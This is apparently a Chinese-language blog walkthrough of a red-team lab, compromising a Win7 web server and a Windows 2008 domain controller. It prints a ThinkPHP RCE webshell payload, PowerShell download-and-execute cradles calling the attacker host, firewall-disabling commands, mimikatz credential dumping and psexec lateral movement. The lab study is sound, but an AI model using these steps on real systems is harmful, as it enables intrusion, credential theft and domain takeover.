ATT&CK红队实战五


环境搭建

首先准备两个网卡

image-20230919101002208

给win7配置这两个网卡

image-20230919101126774

给win2008配置网卡3

image-20230919101219832

然后开启win7的phpstudy

攻击机kali ip: 192.168.135.128
win7:          192.168.135.150    192.168.138.136
win2008:       192.168.138.138

外网渗透

信息收集

nmap 192.168.135.150 -T4 -sV

进行端口扫描

image-20230919112015077

发现80端口开放字节进行访问

getshell

访问IP的

image-20230919112125122

通过报错查看具体的版本

image-20230919112257560

然后查找可利用的payload,或者利用thinkPHP漏洞利用工具进行getshell

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=…/shell.php&vars[1][]=<?php @eval($_POST['f14g']);?>

image-20230919162158239

上传成功蚁剑连接

image-20230919162237581

image-20230919162329021

成功getshell

内网渗透(cs版)

靶机上线

启动cs

创建一个新的监听器

image-20230919172419800

然后需要生成一个木马,前几个靶场用的都是可执行文件木马,这次使用一下powershell,当然使用可执行文件木马也是可以的

image-20230919171700608

image-20230919172636741

image-20230919171757451

复制powershell payload在蚁剑终端执行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.135.128:8086/a'))"

image-20230919172721672

cs上面已经上线成功

image-20230919172823569

进入交互设置休眠时间

sleep 2

查看当前用户的权限

image-20230919173527992

当前是管理员权限

利用cs自带提权模块提权到system

image-20230919173811252

image-20230919174947594

image-20230919175015817

成功提权

关闭防火墙

shell netsh advfirewall set allprofiles state off

image-20230919175623578

内网信息收集

通过shell ipconfig可以看出还有另一个网卡

image-20230920002357957

查看当前域内计算机列表

net view

image-20230920002930464

可以看到还存在一台域控DC 192.168.138.138

查看域控列表

net dclist

image-20230920003030776

查看用户列表

net user

image-20230920003215672

查询系统信息

net systeminfo

image-20230920003546897

抓取hash凭证

hashdump

image-20230920090814933

logonpasswords

image-20230920091013460

获得密码

攻击域控DC

直接使用psexec攻击域控

image-20230920095341694

然后DC机器上线

image-20230920095420602

可以导出所有hash

image-20230920095544725

自此两台机器就全部拿下

内网渗透(msf版)

靶机上线

先使用web_delivery模块生成一个powershell payload

use exploit/multi/script/web_delivery
show targets
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.135.128
run

image-20230920104451628

powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABpAEwAUQBYAFUAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAGkATABRAFgAVQB1AGwAbAApAHsAJABpAEwAUQBYAFUALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABpAEwAUQBYAFUALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAPQBbAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwB9ADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAzADUALgAxADIAOAA6ADgAMAA4ADAALwBVAGgAOQBxAGcAagBYAG0ASAAyAHcALwBOAFkATQBnAGsAaABEAFIAbgA1AHkANwAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMwA1AC4AMQAyADgAOgA4ADAAOAAwAC8AVQBoADkAcQBnAGoAWABtAEgAMgB3ACcAKQApADsA

在蚁剑的终端执行该payload

image-20230920105236289

拿到meterpreter

路由转发

由于还存在一个138网段,给这个网段添加路由

run autoroute -s 192.168.138.0/24
run autoroute -p

image-20230920110041855

代理搭建

在攻击机kali上开启frps

./frps -c frps.ini

image-20230920115127694

然后把frp客户端通过meterpreter上传到win7中

先创建frp文件夹

image-20230920152459083

把frp内容上传到新建的frp文件夹中

image-20230920153302968

image-20230920153218814

客户端配置文件内容

然后开启客户端

frpc.exe -c frpc.ini

image-20230920153443969

连接成功

配置proxychains

image-20230920153616061

kiwi模块抓取密码

load kiwi

image-20230920154300871

提示我们是x86但是目前是x64架构,我们需要进行进程迁移,迁移到x64架构的进程上

查看当前进程

ps

image-20230920154549339

选择一个x64进程进行迁移

migrate 488

image-20230920154925030

抓取密码

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

image-20230920154946311

关闭防火墙

net use \\192.168.138.138\ipc$ "asdASD123!@#" /user:"administrator"
net use

image-20230920155405633

利用sc创建服务来远程关闭DC的防火墙

#创建服务
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
#启动服务
sc \\192.168.138.138 start unablefirewall

image-20230920155744641

psexec模块攻击

use exploit/windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass asdASD123!@#
set payload windows/meterpreter/bind_tcp
run

image-20230920160047602

攻击成功

参考文章:

https://blog.csdn.net/sycamorelg/article/details/131185663


文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录